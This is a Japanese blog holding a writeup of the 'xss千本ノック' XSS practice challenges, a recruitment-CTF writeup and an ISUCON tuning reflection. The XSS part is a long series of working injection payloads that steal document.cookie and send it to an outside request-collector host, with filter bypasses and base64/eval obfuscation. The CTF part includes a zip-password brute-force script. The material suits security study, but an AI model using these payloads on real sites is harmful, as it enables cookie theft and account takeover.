眠気

戯言とメモ

katagaitaiCTF勉強会 xss千本ノック writeup

楽しかったです

全部解けるようがんばります…がんばりたい…

2

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

3

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

4

textareaを閉じる

q=</textarea><script>location.href='https://requestb.in/x0u1ovx0?f3='%20%2B%20document.cookie</script>

5

autofocus

q=%22%20 autofocus onfocus=%22location.href=%27https://requestb.in/x0u1ovx0?f5_=%27%20%2B%20document.cookie

6

%27で閉じる

q=!%22%27%20 autofocus onfocus=location.href='https://requestb.in/x0u1ovx0?f6='%2Bdocument.cookie;//

7

autofocus q=1%20autofocus%20onfocus=location.href=%27https://requestb.in/x0u1ovx0?f7=%27%2Bdocument.cookie;//

8

iframeのsrcをjavascript:

q=javascript:location.href=%22https://requestb.in/x0u1ovx0?f8=%22%20%2B%20document.cookie

9

scriptタグ

q=%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f9=%22%20%2B%20document.cookie%3C/script%3E

10

scriptが消えるのでいっぱいscriptを書く

q=%3Cscrscriptiscriptpscriptt%3Elocation.href=%22https://requestb.in/x0u1ovx0?f10=%22%20%2B%20document.cookie%3C/scrscriptiscriptpscriptt%3E

11,12

scriptが消えるのでonloadに挟む

q=%3Csvg%20oscriptnload=location.href=%27https://requestb.in/x0u1ovx0?f11=%27%2Bdocument.cookie%20%27%20%3E

13

alert()を閉じる

q=%27);location.href=%22https://requestb.in/x0u1ovx0?%22%2Bdocument.cookie;//

14

外部スクリプトを作って読む

q=%3Cscript%20src=http://aviavi.ga/ajs%3E%3C/script%3E

15

大文字の外部スクリプトを作って読む HTTP://ドメインの部分は大文字小文字関係なく繋がる

q=%3Cscript%20src=http://aviavi.ga/AJS%3E%3C/script%3E

16

.が使えないのでbase64でevalする

q=%3Cscript%3Eeval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll'))%3C/script%3E

17

‘が使えないのでバッククォートを使う

q=%3Cscript%3Eeval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll`))%3C/script%3E

18,19

scriptタグにbase64を使う

q=%3C/script%3E%3Cscript%20src=%27data:text/html;base64,bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iK2RvY3VtZW50LmNvb2tpZQ==%27%3E%3C/script%3E

20

scriptタグでhashをevalする

q=%3Csvg%20onload=eval(URL.slice(105))%3E#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

21

svg onloadでhashをeval .が使えないのでlocation[“href”]にする

q=%22%3E%3Cimg%3E//onload=eval(URL.slice(127));%20//a%20//src=/#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

22,23

hashをeval

q=%3Csvg%20//%20onload=eval(URL.slice(112))%3E//#location.href="https://requestb.in/x0u1ovx0?f3="+document.cookie

24

documentがnullなのでwindowを使う q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bwindow.document.cookie

25~28

windowもnullなのでthisとかtopを使う

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bthis.document.cookie

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Btop.document.cookie

29

imgタグを閉じずに読ませる q=aa%3C/p%3E%3Cp%3E%3Cimg%20%3Cimg%20%20%20src=%22https://requestb.in/x0u1ovx0?

30

クォートと.が使えないのでhashの文字列を連結させてがんばる

q=location[`href`]=location[`hash`][1]%2Blocation[`hash`][2]%2Blocation[`hash`][3]%2Blocation[`hash`][4]%2Blocation[`hash`][5]%2Blocation[`hash`][6]%2Blocation[`hash`][7]%2Blocation[`hash`][8]%2Blocation[`hash`][9]%2Blocation[`hash`][10]%2Blocation[`hash`][11]%2Blocation[`hash`][12]%2Blocation[`hash`][13]%2Blocation[`hash`][14]%2Blocation[`hash`][15]%2Blocation[`hash`][16]%2Blocation[`hash`][17]%2Blocation[`hash`][18]%2Blocation[`hash`][19]%2Blocation[`hash`][20]%2Blocation[`hash`][21]%2Blocation[`hash`][22]%2Blocation[`hash`][23]%2Blocation[`hash`][24]%2Blocation[`hash`][25]%2Blocation[`hash`][26]%2Blocation[`hash`][27]%2Blocation[`hash`][28]%2B`?`%2Bdocument[`cookie`]#https://requestb.in/x0u1ovx0

31

document.write()を閉じる

q=%27);location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;//

32

一つ目のパラメータでエスケープで閉じさせなくする

q1=\&q2=,location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie//

33

blink()でblinkタグを作りsvgを入れる

q=%22%3Csvg%20onload=location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;%3E%22.blink()

34

typeを上書きしてhiddenさせなくする

q=%22%20onfocus=location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie%20type=text%20autofocus%20a

35

改行コード %0a q=%0Alocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

36

改行コード %0A%0D q=%0A%0Dlocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

37

改行コード %0A%0D%E2%80%A8 q=%0A%0D%E2%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

38

改行コード %0A%0D%E2%80%A8%E2%E2%80%A8%80%A8

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

39

%E2%80%A8が消されるのでいっぱい突っ込む

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

40

バッククォートでauditor回避

q1=%3Cscript%3E`&q2=a`;location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie;%3C/script%3E`

41

ハッシュをeval

q=%3Cscript%3Eeval(eval(location.href.substr(-92)))%3C/script#atob("bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=")

42,43

base64をeval

q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

44

全部エスケープされてて無理じゃんってなった

& => &amp;
' => &#039;
" => &quot;
> => &gt;
< => &lt;
!$%[@:][{}*`+}()~=`$

phpの問題だった

formのurlに$_SERVER[‘PHP_SELF’]を使っている

それとdom clobberingでdocument.bodyを書き換える

~~.knock.xss.moe//index.php/%22%20name=body%20%3E%3Cinput%20value=%22?q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi9waHdxNWRwaD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

45

ダメ

シュ~カツctf Writeupその1

大分間が空きましたが元気です。がんばります

色々あって引きこもってました。 現在もわりと引きこもってます。色々あって今にいたります

年末に風邪をこじらせている間にいつの間にか年も越して 気がつけば2月…

最近はCTFなどはにわかに参加しているくらいで 体を壊したり落ち込んだりアレでソレで 特に書く内容もない現状です。

せっかくなので、 他のwriteupさまの内容を見たので、雑ですが書いてみました。


一応シュ~カツ(?)としてネットエージェントさまのシューカツCTF(2017年卒採用特別選考CTF)に参加していました。

前年はusiomisakiにやられてしまっていたので、今年こそは。。。と頑張ってました。

ちなみに自分も最後まで解けてないので、続きをだれか…(以下同文)

mondai1

問題ページのHTMLのソースに去年の問題文があったので、

echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev
http://pbh.jp/2016/

とかして2016の部分を2017にすると見れたので、良かったということで最後まで解いてなかった…です。

一応ちゃんと正攻法?で解きました。 base64でデコードして3文字ずらすだけだったようです

$cat solv.rb 
require 'base64'
Base64.decode64("c2VrMW1zMjUzNDo=").each_char do |s|
   print (s.ord - 3).chr
end
$ruby solv.rb 
pbh.jp/2017

mondai2

マイナンバーらしいです…

755304ac4117729248f05fd12203735598d727dd

MD5の総当りっぽいので頑張ってもらいました。 mondai3.zip:462365337210

mondai3

画像が2つ入ってたのでクリスタで重ねてレイヤーを減算にしたらそれっぽい文字が出たので

mondai4.zip:Macrocheira

mondai4

ポートスキャンすると、3つのポートが空いていたので、

MQTTとRedisとmemcachedにつなげて適当に探せば色々出ました

kurobeとtateyamaで検索したらアルペンルートとか出てきたのでそれをメチャクチャ入れまくってたりしましたが、結局1883+6379+11211というヒントでいけました。

mondai5.zip::kurobetateyamatoyama

あとたまにokayamaとか偽passwordが流れてきてメッチャ迷った。すこぶる困った。

MQTTで遊んでたときの

mondai5

これに4,5日くらいかかってアレでした

某アニメを見てなかったためにヒントにも気付けませんでした。見ました。 txtファイルの更新日時で検索するとこのツイート

が出てくるので、SECCONとかtomorinaoとかかなと思っても出来ず、 zipを眺めまぐったりしたり 試行錯誤の末大文字小文字を総当りすると解凍できました。ESP…

mondai6.zip:TomoriNao

mondai6

適当にdotpeekなどで処理を見ると、しんかんせんえきいんぜで21文字の回文を作れば良いっぽいので

mondai7.zip:しんかんせんえきいんぜんいきえんせんかんし

mondai7

解き方忘れてしまっていたので解き直してました。turai

pcapを読むとそれらしいファイルirainaiyou1.zipをアップロードしている事がわかったり

他にもニコニコ大百科で何か見ていることとかわかるけど結局よくわかんない

irainaiyou1.zipのパスワードっぽい文字列もアップロード時の削除用のhanamogeraくらいで試行錯誤組み替えて試してもダメだったり

結局総当りしようと思い、まずは適当に辞書で回そうとこのような辞書を使わせていただいてこんな感じで適当にやったところ何か出てきたので

$ cat brute.rb 
path = "john.txt"
max = File.read(path).count("\n")
open(path) do |f|
    f.each_line.with_index do |pass,i|
        # puts i.to_s + "/" + max.to_s
        s = system "7za x -p#{pass.chop}  irainaiyou1.zip -aoa > /dev/null 2> /dev/null"
        if s
            puts pass
            break
        end
    end
end%$ ruby brute.rb 
alexander

alexanderでirainaiyou1.zipを解凍

出てきた画像ko'tae.jpgの文字で解凍出来ました

mondai8.zip:ログ・ググザジョ

グロンギ語で「もうすぐだよ」らしいですね。zipのpasswordにunicodeが使いづらかったのでLhaplusを使うと楽でした。

これもわりと苦戦した というか色々アレだった…

mondai8

mondai8は簡単になった方で解きました

truecryptで暗号化されているので、またもや先程の辞書を使わせていただいてtruecrackでアレしたり

passwordが1234なのでマウントすると見えないファイルがいくつかあるので

あとは野菜レシピ.docxのパスワードが何故かpasswordだったので開くと謎フォントの答えが出てくる

ので適当なフォントにいじって

mondai9.zipFadeWhitePearl

mondai9

宇佐美定行
「ワキミウオンズサミウケサワキケキワナオンワゼケサミサケサ
ズキアウオガミゼインミゼケキワキケサインケキケサアナワウイウズキズゼ
アンミガアンケキアウワゼミンズナ
イナアゼワキワンアナミガミガイゼミンミゼミウオンワン
ワサミガミガオガワンケキワナオンケゼアナオキアゼワサミガズガズキインズナ
ミゼアウズキケキアキケキオウイゼイキケサアキズウアキイキケキオサイガミガミゼ
オンイサケガワンケキインケサワキケサアキミゼインミゼケキワキケサインケキケサオガズゼワナオンイガオンイキケキ
イガオンイナワサイウインケキオガイキアウアンケキケサアキミキズナ
アキオンワガアウミキケンオガアンミガオキミガイキアウミキアウ
ミウミガミガオガケゼワキズキケキミゼミゼインミゼケキケゼケキワキオガイナアゼワキワン
イナオキアゼアンアキワンワキオガミキズキケキミンズガオキオゼ
ワウインズウワサミガケゼイキケキオガズキケンケサ

ワキケサインケキケサケンズウオガケナアウミナケキオンケンアキ」

らしいです

宇佐美定行とかで調べると、上杉暗号というのが出てくるので

2文字ずつ使われてる文字を調べたりして

$ cat s.rb
f = open("mondai9.txt")
g0 = []
g1 = []
f.each_line do |l|
 l.split("").each_slice(2) do |n|
 g0.push(n[0])
 g1.push(n[1])
 end
end
p g0.uniq
p g1.uniq
$ ruby s.rb
["ワ", "ミ", "オ", "ズ", "ケ", "ア", "イ"]
["キ", "ウ", "ン", "サ", "ナ", "ゼ", "ガ"]

[“ワ”, “ミ”, “オ”, “ズ”, “ケ”, “ア”, “イ”]と

[“キ”, “ウ”, “ン”, “サ”, “ナ”, “ゼ”, “ガ”]から、

あずみおいわけ と うぜんながさきかなと思って復号化

$ cat uesugi.rb 
# encoding: utf-8
# 上杉暗号
sx, sy =  'あずみおいわけ うぜんながさき'.split
iroha_table = [
  %w(い ろ は に ほ へ と),
  %w(ち り ぬ る を わ か),
  %w(よ た れ そ つ ね な),
  %w(ら む う ゐ の お く),
  %w(や ま け ふ こ え て),
  %w(あ さ き ゆ め み し),
  %w(ゑ ひ も せ す ん "),
]
File.open('mondai9.txt') do |file|
  file.each_line do |enc|
    enc.chop!
    result = []
    enc.split(//).each_slice(2) do |a,b|
      x = sx.index(a)
      y = sy.index(b)
      ch = iroha_table[x][y]
      result << ch
    end
    puts "#{result.join}"
  end
end
$ ruby uesugi.rb 
しようわよんし"ゆうさんねん
かいのたけた"しんけ"んにあやかり
はつは"いされる
ふろしきにつつまれたようき
みつつのき"ゆうひにくろみつをかける
たいか"と"らまてんとちとて"おこつた
うえすき"けんしんとたけた"しんけ"んのりゆうこうて"
こうふみやけ"のていは"んとなる
とうめいなものはつくつていない
よつつのひしか"たたけた"ひ"しのふろしき
ふくろはときしのなか"れをくむ
あけちみつひて"のかもん

しんけ"んもちのせいそ"うもと

信玄餅の製造元は桔梗屋(ききょうや)さんらしいです。

mondai10.zip:桔梗屋

というわけで

エクストリーム編につづく。。。

ISUCON反省文

K氏とチーム名「zoi」で参加してました。

今回は諸事情で学生枠でなく、一般枠で参加しました。

チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。

初参加でした。

最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。

予選落ちです。


準備

ISUCONの勝ち方を見たり、過去のエントリを見たり程度。

せめて当日までに使用言語くらいは決めようという感じであった

来年はもっと準備して挑みたいです(反省

やったこと

雑魚なのでK氏に全部やってもらいました。感謝🙏

結果的にチームとしてやったことは

  • htmlify内で毎回selectしているものを引数にして渡す
  • SELECT *SELECT keyword
  • 毎回ORDER BY CHARACTER_LENGTH(keyword)してるので、charlengthカラムを作ってORDER BY charlengthする
  • entryをredisに入れる/get('/')でredisからとってくる
  • starをredisに入れる/load_starsでredisからとってくる

自分がやったことは

  • kataribeでログ取ったり
  • CHARACTER_LENGTH(keyword)いっぱい入れとく
  • インデックス貼ったり
  • pt-query-digestでSlowLog見ていたり
  • phpにうろたえたり
  • ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
  • h2oにしようとして挫折したり

困ったこと

  • redisが入んなくて3,4時間かかってた
  • 参加していた場所のインフラがわりとクソ整備されてなくて、wifiに繋がらなかった
  • てんでsystemdわかんない
  • てんでAzureわかんない
  • starがついていません→ついてない…??

反省

  • SQL全然わかんなくてCHARACTER_LENGTHは複文で何とかなるんだろうけど、一行のupdate文大量に作った
  • 最終点数スクショ取ってない

感想

今回はわりと、楽しもうというテンションで

なんだかんだ準備が不十分だったけれど、

学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな

不甲斐ないなりにテンションあげてみたり

そんな感じで。

頑張ります はい。いや、頑張るzoi